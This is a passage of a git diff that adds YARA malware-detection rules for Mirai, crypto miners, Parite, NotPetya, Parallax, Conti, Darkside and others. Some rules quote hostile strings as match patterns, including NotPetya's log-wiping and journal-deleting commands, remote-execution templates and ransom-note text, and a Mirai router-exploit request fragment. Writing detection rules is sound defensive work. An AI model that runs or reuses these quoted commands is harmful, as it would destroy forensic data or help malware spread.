+      $x2 = "/bin/busybox chmod 777 * /tmp/" ascii
+
+      $s1 = "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1" fullword ascii
+      $s2 = "loadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>" fullword ascii
+      $s3 = "POST /cdn-cgi/" ascii
+   condition:
+      uint16(0) == 0x457f and filesize < 200KB and (
+         ( 1 of ($x*) and 1 of ($s*) ) or
+         all of ($x*)
+      )
+}
+
+rule MAL_ELF_LNX_Mirai_Oct10_2 {
+   meta:
+      description = "Detects ELF malware Mirai related"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-10-27"
+      hash1 = "fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9"
+      id = "421b7708-030e-50d1-bf2e-e91758a48c00"
+   strings:
+      $c01 = { 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00
+               20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D
+               41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A }
+   condition:
+      uint16(0) == 0x457f and filesize < 200KB and all of them
+}
+
+rule MAL_Mirai_Nov19_1 {
+   meta:
+      description = "Detects Mirai malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/bad_packets/status/1194049104533282816"
+      date = "2019-11-13"
+      hash1 = "bbb83da15d4dabd395996ed120435e276a6ddfbadafb9a7f096597c869c6c739"
+      hash2 = "fadbbe439f80cc33da0222f01973f27cce9f5ab0709f1bfbf1a954ceac5a579b"
+      id = "40edcb29-9e10-5b87-ba79-8e3f629829e5"
+   strings:
+      $s1 = "SERVZUXO" fullword ascii
+      $s2 = "-loldongs" fullword ascii
+      $s3 = "/dev/null" fullword ascii
+      $s4 = "/bin/busybox" fullword ascii
+      $sc1 = { 47 72 6F 75 70 73 3A 09 30 }
+   condition:
+      uint16(0) == 0x457f and filesize <= 100KB and 4 of them
+}
+
+rule MAL_ARM_LNX_Mirai_Mar13_2022 {
+   meta:
+      description = "Detects new ARM Mirai variant"
+      author = "Mehmet Ali Kerimoglu a.k.a. CYB3RMX"
+      date = "2022-03-16"
+      hash1 = "0283b72913b8a78b2a594b2d40ebc3c873e4823299833a1ff6854421378f5a68"
+      id = "54d8860e-fc45-5571-b68c-66590c67a705"
+   strings:
+      $str1 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm"
+      $str2 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm"
+      $str3 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm"
+      $str4 = "/home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv6l/bin/../cc/include"
+      $attck1 = "attack.c"
+      $attck2 = "attacks.c"
+      $attck3 = "anti_gdb_entry"
+      $attck4 = "resolve_cnc_addr"
+      $attck5 = "attack_gre_eth"
+      $attck6 = "attack_udp_generic"
+      $attck7 = "attack_get_opt_ip"
+      $attck8 = "attack_icmpecho"
+   condition:
+      uint16(0) == 0x457f and ( 3 of ($str*) or 4 of ($attck*) )
+}
diff --git a/yara-Neo23x0/crime_mywscript_dropper.yar b/yara-Neo23x0/crime_mywscript_dropper.yar
new file mode 100644
index 0000000..139aa6e
--- /dev/null
+++ b/yara-Neo23x0/crime_mywscript_dropper.yar
@@ -0,0 +1,26 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-27
+   Identifier: MyWScript
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule MyWScript_CompiledScript {
+   meta:
+      description = "Detects a scripte with default name Mywscript compiled with Script2Exe (can also be a McAfee tool https://community.mcafee.com/docs/DOC-4124)"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-07-27"
+      score = 65
+      hash1 = "515f5188ba6d039b8c38f60d3d868fa9c9726e144f593066490c7c97bf5090c8"
+      id = "a0480a8a-5a7e-5829-851b-7301cfc9da60"
+   strings:
+      $x1 = "C:\\Projets\\vbsedit_source\\script2exe\\Release\\mywscript.pdb" fullword ascii
+      $s1 = "mywscript2" fullword wide
+      $s2 = "MYWSCRIPT2" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 800KB and ( $x1 or 2 of them )
+}
diff --git a/yara-Neo23x0/crime_nansh0u.yar b/yara-Neo23x0/crime_nansh0u.yar
new file mode 100644
index 0000000..37c6789
--- /dev/null
+++ b/yara-Neo23x0/crime_nansh0u.yar
@@ -0,0 +1,136 @@
+/*
+   YARA Rule Set
+   Author: Florian Roth
+   Date: 2019-05-31
+   Identifier: Nansh0u
+   Reference: https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
+   License = CC BY-NC 4.0 https://creativecommons.org/licenses/by-nc/4.0/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+
+import "pe"
+
+rule MAL_XMR_Miner_May19_1 : HIGHVOL {
+   meta:
+      description = "Detects Monero Crypto Coin Miner"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
+      date = "2019-05-31"
+      score = 85
+      hash1 = "d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc"
+      id = "233d1d47-de67-55a9-ae7e-46b5dd34e6ce"
+   strings:
+      $x1 = "donate.ssl.xmrig.com" fullword ascii
+      $x2 = "* COMMANDS     'h' hashrate, 'p' pause, 'r' resume" fullword ascii
+
+      $s1 = "[%s] login error code: %d" fullword ascii
+      $s2 = "\\\\?\\pipe\\uv\\%p-%lu" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 14000KB and (
+         pe.imphash() == "25d9618d1e16608cd5d14d8ad6e1f98e" or
+         1 of ($x*) or
+         2 of them
+      )
+}
+
+rule HKTL_CN_ProcHook_May19_1 {
+   meta:
+      description = "Detects hacktool used by Chinese threat groups"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
+      date = "2019-05-31"
+      hash1 = "02ebdc1ff6075c15a44711ccd88be9d6d1b47607fea17bef7e5e17f8da35293e"
+      id = "ae4e2613-8254-5ea6-af88-2f08ebe4da33"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and
+      pe.imphash() == "343d580dd50ee724746a5c28f752b709"
+}
+
+
+rule SUSP_PDB_CN_Threat_Actor_May19_1 {
+   meta:
+      description = "Detects PDB path user name used by Chinese threat actors"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
+      date = "2019-05-31"
+      score = 65
+      hash1 = "01c3882e8141a25abe37bb826ab115c52fd3d109c4a1b898c0c78cee8dac94b4"
+      id = "fc6969ed-5fc1-5b3b-9659-c6fc1c9e2f9c"
+   strings:
+      $x1 = "C:\\Users\\zcg\\Desktop\\" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and 1 of them
+}
+
+rule MAL_Ramnit_May19_1 {
+   meta:
+      description = "Detects Ramnit malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
+      date = "2019-05-31"
+      hash1 = "d7ec3fcd80b3961e5bab97015c91c843803bb915c13a4a35dfb5e9bdf556c6d3"
+      id = "f8fa3557-556e-5680-9f1a-2ecf118ade75"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB
+      and pe.imphash() == "500cd02578808f964519eb2c85153046"
+}
+
+rule MAL_Parite_Malware_May19_1 {
+   meta:
+      description = "Detects Parite malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
+      date = "2019-05-31"
+      score = 80
+      hash1 = "c9d8852745e81f3bfc09c0a3570d018ae8298af675e3c6ee81ba5b594ff6abb8"
+      hash2 = "8d47b08504dcf694928e12a6aa372e7fa65d0d6744429e808ff8e225aefa5af2"
+      hash3 = "285e3f21dd1721af2352196628bada81050e4829fb1bb3f8757a45c221737319"
+      hash4 = "b987dcc752d9ceb3b0e6cd4370c28567be44b789e8ed8a90c41aa439437321c5"
+      id = "f4c9da17-9894-5243-828a-827accb0bac5"
+   strings:
+      $s1 = "taskkill /im cmd.exe /f" fullword ascii
+      $s2 = "LOADERX64.dll" fullword ascii
+
+      $x1 = "\\dllhot.exe" ascii
+      $x2 = "dllhot.exe --auto --any --forever --keepalive" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 10000KB and ( 1 of ($x*) or 2 of them )
+}
+
+rule MAL_Parite_Malware_May19_2 {
+   meta:
+      description = "Detects Parite malware based on Imphash"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
+      date = "2019-05-31"
+      hash1 = "c9d8852745e81f3bfc09c0a3570d018ae8298af675e3c6ee81ba5b594ff6abb8"
+      hash2 = "8d47b08504dcf694928e12a6aa372e7fa65d0d6744429e808ff8e225aefa5af2"
+      hash3 = "285e3f21dd1721af2352196628bada81050e4829fb1bb3f8757a45c221737319"
+      hash4 = "b987dcc752d9ceb3b0e6cd4370c28567be44b789e8ed8a90c41aa439437321c5"
+      id = "33970268-610c-5abf-9e9e-83dae0c81064"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 18000KB and (
+         pe.imphash() == "b132a2719be01a6ef87d9939d785e19e" or
+         pe.imphash() == "78f4f885323ffee9f8fa011455d0523d"
+      )
+}
+
+rule EXPL_Strings_CVE_POC_May19_1 {
+   meta:
+      description = "Detects strings used in CVE POC noticed in May 2019"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/"
+      date = "2019-05-31"
+      score = 80
+      hash1 = "01c3882e8141a25abe37bb826ab115c52fd3d109c4a1b898c0c78cee8dac94b4"
+      id = "df11e0b1-e907-5a24-a3e7-0e78acb379f7"
+   strings:
+      $x1 = "\\Debug\\poc_cve_20" ascii
+      $x2 = "\\Release\\poc_cve_20" ascii
+      $x3 = "alloc fake fail: %x!" fullword ascii
+      $x4 = "Allocate fake tagWnd fail!" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and 1 of them
+}
diff --git a/yara-Neo23x0/crime_nkminer.yar b/yara-Neo23x0/crime_nkminer.yar
new file mode 100644
index 0000000..a4040bf
--- /dev/null
+++ b/yara-Neo23x0/crime_nkminer.yar
@@ -0,0 +1,39 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-01-09
+   Identifier: NK Miner Malware
+   Reference: https://goo.gl/PChE1z
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule NK_Miner_Malware_Jan18_1 {
+   meta:
+      description = "Detects Noth Korean Monero Miner mentioned in AlienVault report"
+      author = "Florian Roth (Nextron Systems) (original rule by Chris Doman)"
+      reference = "https://goo.gl/PChE1z"
+      date = "2018-01-09"
+      hash1 = "0024e32c0199ded445c0b968601f21cc92fc0c534d2642f2dd64c1c978ff01f3"
+      hash2 = "42300b6a09f183ae167d7a11d9c6df21d022a5f02df346350d3d875d557d3b76"
+      id = "40f53c36-9e14-5307-9740-e6f514afc7ec"
+   strings:
+      $x0 = "c:\\users\\jawhar\\documents\\" ascii
+      $x1 = "C:\\Users\\Jawhar\\documents\\" ascii
+      $x2 = "The number of processors on this computer is {0}." fullword wide
+      $x3 = { 00 00 1F 43 00 3A 00 5C 00 4E 00 65 00 77 00 44
+              00 69 00 72 00 65 00 63 00 74 00 6F 00 72 00 79
+              00 00 }
+      $x4 = "Le fichier Hello txt n'existe pas" fullword wide
+      $x5 = "C:\\NewDirectory2\\info2" fullword wide
+
+      /* Incorported from Chris Doman's rule - https://goo.gl/PChE1z*/
+      $a = "82e999fb-a6e0-4094-aa1f-1a306069d1a5" ascii
+      $b = "4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkNrSqtCoRUrEDAgRwsQvVCjZbRy5YeFCqgoUMnzumvS" ascii
+      $c = "barjuok.ryongnamsan.edu.kp" wide ascii
+      $d = "C:\\SoftwaresInstall\\soft" wide ascii
+      $e = "C:\\Windows\\Sys64\\intelservice.exe" wide ascii
+      $f = "C:\\Windows\\Sys64\\updater.exe" wide ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 30KB and 1 of them
+}
diff --git a/yara-Neo23x0/crime_nopetya_jun17.yar b/yara-Neo23x0/crime_nopetya_jun17.yar
new file mode 100644
index 0000000..5f57f2f
--- /dev/null
+++ b/yara-Neo23x0/crime_nopetya_jun17.yar
@@ -0,0 +1,41 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-06-27
+   Identifier: NotPetya
+   Reference: https://goo.gl/h6iaGj
+              https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule NotPetya_Ransomware_Jun17 {
+   meta:
+      description = "Detects new NotPetya Ransomware variant from June 2017"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/h6iaGj"
+      date = "2017-06-27"
+      hash1 = "027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745"
+      hash2 = "45ef8d53a5a2011e615f60b058768c44c74e5190fefd790ca95cf035d9e1d5e0"
+      hash3 = "64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1"
+      id = "8805f971-0680-534d-9955-65dc4ecc934a"
+   strings:
+      $x1 = "Ooops, your important files are encrypted." fullword wide ascii
+      $x2 = "process call create \"C:\\Windows\\System32\\rundll32.exe \\\"C:\\Windows\\%s\\\" #1 " fullword wide
+      $x3 = "-d C:\\Windows\\System32\\rundll32.exe \"C:\\Windows\\%s\",#1 " fullword wide
+      $x4 = "Send your Bitcoin wallet ID and personal installation key to e-mail " fullword wide
+      $x5 = "fsutil usn deletejournal /D %c:" fullword wide
+      $x6 = "wevtutil cl Setup & wevtutil cl System" ascii
+      /* ,#1 ..... rundll32.exe */
+      $x7 = { 2C 00 23 00 31 00 20 00 00 00 00 00 00 00 00 00 72 00 75 00 6E
+         00 64 00 6C 00 6C 00 33 00 32 00 2E 00 65 00 78 00 65 00 }
+
+      $s1 = "%s /node:\"%ws\" /user:\"%ws\" /password:\"%ws\" " fullword wide
+      $s4 = "\\\\.\\pipe\\%ws" fullword wide
+      $s5 = "schtasks %ws/Create /SC once /TN \"\" /TR \"%ws\" /ST %02d:%02d" fullword wide
+      $s6 = "u%s \\\\%s -accepteula -s " fullword wide
+      $s7 = "dllhost.dat" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and ( 1 of ($x*) or 3 of them )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_ole_loadswf_cve_2018_4878.yar b/yara-Neo23x0/crime_ole_loadswf_cve_2018_4878.yar
new file mode 100644
index 0000000..7f4a41b
--- /dev/null
+++ b/yara-Neo23x0/crime_ole_loadswf_cve_2018_4878.yar
@@ -0,0 +1,31 @@
+
+rule crime_ole_loadswf_cve_2018_4878 {
+   meta:
+      description = "Detects CVE-2018-4878"
+      vuln_type = "Remote Code Execution"
+      vuln_impact = "Use-after-free"
+      affected_versions = "Adobe Flash 28.0.0.137 and earlier versions"
+      mitigation0 = "Implement Protected View for Office documents"
+      mitigation1 = "Disable Adobe Flash"
+      weaponization = "Embedded in Microsoft Office first payloads"
+      actor = "Purported North Korean actors"
+      reference = "hxxps://www[.]krcert[.]or[.kr/data/secNoticeView.do?bulletin_writing_sequence=26998"
+      author = "Vitali Kremez, Flashpoint"
+      version = "1.1"
+      id = "44797bbc-693b-5fcb-a4a4-4ebf3f4da725"
+   strings:
+      // EMBEDDED FLASH OBJECT BIN HEADER
+      $header = "rdf:RDF" wide ascii
+      // OBJECT APPLICATION TYPE TITLE
+      $title = "Adobe Flex" wide ascii
+      // PDB PATH
+      $pdb = "F:\\work\\flash\\obfuscation\\loadswf\\src" wide ascii
+      // LOADER STRINGS
+      $s0 = "URLRequest" wide ascii
+      $s1 = "URLLoader" wide ascii
+      $s2 = "loadswf" wide ascii
+      $s3 = "myUrlReqest" wide ascii
+   condition:
+      filesize < 500KB and all of ($header*) and
+      all of ($title*) and 3 of ($s*) or all of ($pdb*) and all of ($header*) and 1 of ($s*)
+}
diff --git a/yara-Neo23x0/crime_parallax_rat.yar b/yara-Neo23x0/crime_parallax_rat.yar
new file mode 100644
index 0000000..529f9f9
--- /dev/null
+++ b/yara-Neo23x0/crime_parallax_rat.yar
@@ -0,0 +1,38 @@
+
+rule crime_win32_parallax_loader_1 {
+   meta:
+      description = "Detects Parallax Loader"
+      author = "@VK_Intel"
+      reference = "https://twitter.com/VK_Intel/status/1227976106227224578"
+      date = "2020-02-24"
+      hash1 = "829fce14ac8b9ad293076c16a1750502c6b303123c9bd0fb17c1772330577d65"
+      id = "5e030b68-3c29-5203-bb4e-f01850bfbbab"
+   strings:
+     $main_call = { 68 81 85 50 00 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 51 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 00 10 00 00 68 b0 a2 00 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 8c e1 4f 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 0c 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 40 84 50 00 8d ?? ?? ?? ?? ?? 51 e8 ?? ?? ?? ?? 83 c4 0c}
+
+     $decoder_call = { 55 8b ec 83 c4 f8 33 c0 89 ?? ?? 33 d2 89 ?? ?? 8b ?? ?? 3b ?? ?? 7d ?? 8b ?? ?? 8b ?? ?? 8b ?? ?? 8b ?? ?? 33 ?? ?? ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 89 ?? ?? 83 ?? ?? ?? 75 ?? 33 d2 89 ?? ?? eb ?? ff ?? ?? ff ?? ?? 8b ?? ?? 3b ?? ?? 7c ?? 59 59 5d c3}
+
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and
+      2 of them
+}
+
+rule crime_win32_parallax_payload_1 {
+   meta:
+      description = "Detects Parallax Injected Payload v1.01"
+      author = "@VK_Intel"
+      reference = "https://twitter.com/VK_Intel/status/1227976106227224578"
+      date = "2020-02-24"
+      hash1 = "20d0be64a0e0c2e96729143d41b334603f5d3af3838a458b0627af390ae33fbc"
+      id = "f3a23a28-e322-59ff-85e0-72e44def5c02"
+   strings:
+   $zwdelay_prologue = { 66 ?? ?? ?? 66 83 c1 01 66 ?? ?? ?? 50 b8 cb cb cb cb 89 ?? ?? ?? ?? ?? 58 8b ?? ?? ?? ?? ?? 89 ?? ?? 68 88 13 00 00 8b ?? ?? 8b ?? ?? 51 e8 ?? ?? ?? ??}
+
+   $wininet_call = { b8 77 00 00 00 66 ?? ?? ?? b9 69 00 00 00 66 ?? ?? ?? ba 6e 00 00 00 66 ?? ?? ?? b8 69 00 00 00 66 ?? ?? ?? b9 6e 00 00 00 66 ?? ?? ?? ba 65 00 00 00 66 ?? ?? ?? b8 74 00 00 00 66 ?? ?? ?? 33 c9 66 ?? ?? ?? 8d ?? ?? 52 8b ?? ?? 8b ?? ?? ff d1 89 ?? ?? 6a 00 68 0c fc e5 f2 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 3d a8 16 da 8b ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 e0 05 65 01 8b ?? ?? 51 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 f5 98 c0 6c 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 24 1d 19 e5 8b ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 a8 ed f2 ce 8b ?? ?? 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 6a 00 ff ?? ?? 85 c0 75 ?? 68 88 13 00 00 ff ?? ?? eb ?? 6a 00 68 00 01 00 04 6a }
+
+   $rand_png_call = { b8 25 00 00 00 66 ?? ?? ?? ?? ?? ?? b9 78 00 00 00 66 ?? ?? ?? ?? ?? ?? ba 2e 00 00 00 66 ?? ?? ?? ?? ?? ?? b8 70 00 00 00 66 ?? ?? ?? ?? ?? ?? b9 6e 00 00 00 66 ?? ?? ?? ?? ?? ?? ba 67 00 00 00 66 ?? ?? ?? ?? ?? ?? 33 c0 66 ?? ?? ?? ?? ?? ?? 6a 64 6a 40 8b ?? ?? 8b ?? ?? ff d2 89 ?? ?? 8b ?? ?? 50 68 00 e1 f5 05 68 10 27 00 00 e8 ?? ?? ?? ??}
+
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and
+      2 of them
+}
diff --git a/yara-Neo23x0/crime_phish_gina_dec15.yar b/yara-Neo23x0/crime_phish_gina_dec15.yar
new file mode 100644
index 0000000..9c12882
--- /dev/null
+++ b/yara-Neo23x0/crime_phish_gina_dec15.yar
@@ -0,0 +1,73 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-12-02
+	Identifier: Phishing Gina Harrowell Dez 2015
+*/
+
+rule PHISH_02Dez2015_dropped_p0o6543f_1 {
+	meta:
+		description = "Phishing Wave - file p0o6543f.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
+		date = "2015-12-02"
+		hash = "db788d6d3a8ed1a6dc9626852587f475e7671e12fa9c9faa73b7277886f1e210"
+		id = "3335ad3c-47f8-5547-bac0-df2d98ff644f"
+	strings:
+		$s1 = "netsh.exe" fullword wide
+		$s2 = "routemon.exe" fullword wide
+		$s3 = "script=" fullword wide /* Goodware String - occured 4 times */
+		$s4 = "disconnect" fullword wide /* Goodware String - occured 14 times */
+		$s5 = "GetClusterResourceTypeKey" fullword ascii /* Goodware String - occured 17 times */
+		$s6 = "QueryInformationJobObject" fullword ascii /* Goodware String - occured 34 times */
+		$s7 = "interface" fullword wide /* Goodware String - occured 52 times */
+		$s8 = "connect" fullword wide /* Goodware String - occured 61 times */
+		$s9 = "FreeConsole" fullword ascii /* Goodware String - occured 91 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and all of them
+}
+
+rule PHISH_02Dez2015_dropped_p0o6543f_2 {
+	meta:
+		description = "Phishing Wave used MineExplorer Game by WangLei - file p0o6543f.exe.4"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
+		date = "2015-12-03"
+		hash1 = "d6b21ded749b57042eede07c3af1956a3c9f1faddd22d2f78e43003a11ae496f"
+		hash2 = "561b16643992b92d37cf380bc2ed7cd106e4dcaf25ca45b4ba876ce59533fb02"
+		id = "ed6f6dc8-5b5d-5a6f-a2a0-cb8a34c8931f"
+	strings:
+		$s1 = "Email: W0067@990.net" fullword wide
+		$s2 = "MineExplorer Version 1.0" fullword wide
+		$s6 = "Copy Rights by WangLei 1999.4" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them
+}
+
+rule PHISH_02Dez2015_attach_P_ORD_C_10156_124658 {
+	meta:
+		description = "Phishing Wave - file P-ORD-C-10156-124658.xls"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://myonlinesecurity.co.uk/purchase-order-124658-gina-harrowell-clinimed-limited-word-doc-or-excel-xls-spreadsheet-malware/"
+		date = "2015-12-02"
+		hash1 = "bc252ede5302240c2fef8bc0291ad5a227906b4e70929a737792e935a5fee209"
+		hash2 = "e6c5b55586e9d99551adc27a0fc9c080cea6201fae60104b82d5a2ec518fafb6"
+		hash3 = "80f278b7268ea6814f8b336e07c5f4b03289519e199fbe4cbd9ef6a38cf25df6"
+		hash4 = "3a0a758525883a049a42312e46a023076c31af23b5e8e5b81fec56d51e4c80fb"
+		hash5 = "bc252ede5302240c2fef8bc0291ad5a227906b4e70929a737792e935a5fee209"
+		hash6 = "d9db7d32949c4df6a5d9d0292b576ae19681be7b6e0684df57338390e87fc6d6"
+		hash7 = "7bb705701ae73d377f6091515a140f0af57703719a67da9a60fad4544092ee6c"
+		hash8 = "e743c6e7749ab1046a2beea8733d7c8386ea60b43492bb4f0769ced6a2cee66d"
+		id = "8989379a-6cd9-52ba-be18-5d402a440758"
+	strings:
+		$s1 = "Execute" ascii
+		$s2 = "Process WriteParameterFiles" fullword ascii
+		$s3 = "WScript.Shell" fullword ascii
+		$s4 = "STOCKMASTER" fullword ascii
+		$s5 = "InsertEmailFax" ascii
+	condition:
+		uint16(0) == 0xcfd0 and filesize < 200KB and all of them
+}
diff --git a/yara-Neo23x0/crime_ransom_conti.yar b/yara-Neo23x0/crime_ransom_conti.yar
new file mode 100644
index 0000000..2137f98
--- /dev/null
+++ b/yara-Neo23x0/crime_ransom_conti.yar
@@ -0,0 +1,16 @@
+
+rule MAL_RANSOM_ContiCrypter {
+    meta:
+        author = "James Quinn, Binary Defense"
+        description = "Signature for a crypter associated with Conti"
+        date = "2021-03-17"
+        tlp = "White"
+        id = "f2a00655-41a2-5614-9c29-3629c93c0e95"
+    strings:
+        $handoff1 = {4C 8D 05 ?? ?? ?? ?? 48 C7 44 24 28 00 00 00 00 C7 44 24 20 00 00 00 00 e8}
+        $handoff2 = {C7 ?? 24 ?? 00 00 00 00 89 44 24 ?? C7 ?? 24 ?? ?? ?? ?? ?? C7 ?? 24 ?? 00 00 00 00 }
+        $garbageLoad1 = {53 48 83 EC 20 89 CB 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 01 D8 48 83 C4 20 5B C3}
+        $garbageLoad2 = {55 89 E5 83 EC 18 C7 ?? 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 03 45 08 52 C9 C3}
+    condition:
+        1 of ($handoff*) and 1 of ($garbageLoad*)
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_ransom_darkside.yar b/yara-Neo23x0/crime_ransom_darkside.yar
new file mode 100644
index 0000000..3a8e426
--- /dev/null
+++ b/yara-Neo23x0/crime_ransom_darkside.yar
@@ -0,0 +1,77 @@
+
+rule MAL_RANSOM_Darkside_May21_1 {
+   meta:
+      description = "Detects Darkside Ransomware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://app.any.run/tasks/020c1740-717a-4191-8917-5819aa25f385/"
+      date = "2021-05-10"
+      hash1 = "ec368752c2cf3b23efbfa5705f9e582fc9d6766435a7b8eea8ef045082c6fbce"
+      id = "e5592065-591e-597b-bebb-f20bc306fe52"
+   strings:
+      $op1 = { 85 c9 75 ed ff 75 10 ff b5 d8 fe ff ff ff b5 dc fe ff ff e8 7d fc ff ff ff 8d cc fe ff ff 8b 8d cc fe ff ff }
+      $op2 = { 66 0f 6f 06 66 0f 7f 07 83 c6 10 83 c7 10 49 85 c9 75 ed 5f }
+      $op3 = { 6a 00 ff 15 72 0d 41 00 ab 46 81 fe 80 00 00 00 75 2e 6a ff 6a 01 }
+      $op4 = { 0f b7 0c 5d 88 0f 41 00 03 4c 24 04 89 4c 24 04 83 e1 3f 0f b7 14 4d 88 0f 41 00 03 54 24 08 89 54 24 08 83 e2 3f }
+
+      $s1 = "http://darksid" ascii
+      $s2 = "[ Welcome to DarkSide ]" ascii
+      $s3 = ".onion/" ascii
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 200KB and
+      3 of them or all of ($op*) or all of ($s*)
+}
+
+rule MAL_Ransomware_Win_DARKSIDE_v1_1 {
+    meta:
+        author = "FireEye"
+        date = "2021-03-22"
+        description = "Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values."
+        hash = "1a700f845849e573ab3148daef1a3b0b"
